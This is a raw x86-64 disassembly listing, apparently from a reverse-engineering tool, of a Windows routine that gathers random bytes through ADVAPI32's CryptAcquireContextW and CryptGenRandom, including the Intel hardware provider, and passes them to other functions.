push rsi
push rdi
push r14
mov eax, gethostbyname
call fcn.18009f1d0
sub rsp, rax
lea edx, [rax - 0x2f]
mov rbx, rcx
call fcn.1800f8000
mov rdx, rax
mov rcx, rbx
mov rbp, rax
call fcn.1800f7e70
xor edi, edi
mov r14, rax
test rax, rax
je 0x180142677
lea r9d, [rdi + 1]
mov dword [rsp + 0x20], 0xf0000040
xor r8d, r8d
lea rcx, [rsp + 0x58]
xor edx, edx
mov esi, edi
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x180142653
mov rcx, qword [rsp + 0x58]
mov r8, r14
mov edx, ebp
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rsi, rbp
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rsi*8]
mov rdx, rsi
mov rcx, rbx
call fcn.1800f7f00
mov rcx, rbx
call fcn.1800f8100
test rax, rax
jne 0x18014270b
mov edx, 1
mov rcx, rbx
call fcn.1800f8000
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call fcn.1800f7e70
mov rbp, rax
test rax, rax
je 0x180142703
mov r9d, socket
mov dword [rsp + 0x20], 0xf0000040
lea r8, str.Intel_Hardware_Cryptographic_Service_Provider
xor edx, edx
lea rcx, [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x1801426e3
mov rcx, qword [rsp + 0x58]
mov r8, rbp
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x58]
test eax, eax
cmovne rdi, rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
lea r8, [rdi*8]
mov rdx, rdi
mov rcx, rbx
call fcn.1800f7f00
mov rcx, rbx
call fcn.1800f8100
test rax, rax
jne 0x18014270b
mov rcx, rbx
call fcn.1800f8100
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret